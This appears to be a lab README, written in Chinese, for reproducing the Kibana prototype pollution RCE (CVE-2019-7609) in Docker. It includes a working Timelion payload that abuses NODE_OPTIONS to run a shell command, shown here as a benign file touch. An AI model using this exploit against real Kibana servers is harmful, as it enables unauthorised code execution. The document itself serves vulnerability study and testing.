Aaron
63285f61aa
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41 lines
1.3 KiB
Markdown
41 lines
1.3 KiB
Markdown
# Kibana 原型链污染导致任意代码执行漏洞 (CVE-2019-7609)
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Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15和6.6.1之前的版本中存在一处原型链污染漏洞，利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。
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参考链接：
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- https://nvd.nist.gov/vuln/detail/CVE-2019-7609
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- https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/
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- https://slides.com/securitymb/prototype-pollution-in-kibana/#/4
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## 漏洞环境
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启动环境前，需要先在Docker主机上执行如下命令，修改`vm.max_map_count`配置为262144：
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```
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sysctl -w vm.max_map_count=262144
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```
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之后，执行如下命令启动Kibana 6.5.4和Elasticsearch 6.8.6：
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```
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docker compose up -d
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```
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环境启动后，访问`http://your-ip:5601`即可看到Kibana页面。
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## 漏洞复现
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原型链污染发生在“Timeline”页面，我们填入如下Payload：
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```
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.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
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.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
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```
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成功后，再访问“Canvas”页面触发命令`/bin/touch /tmp/success`，可见`/tmp/success`已成功创建：
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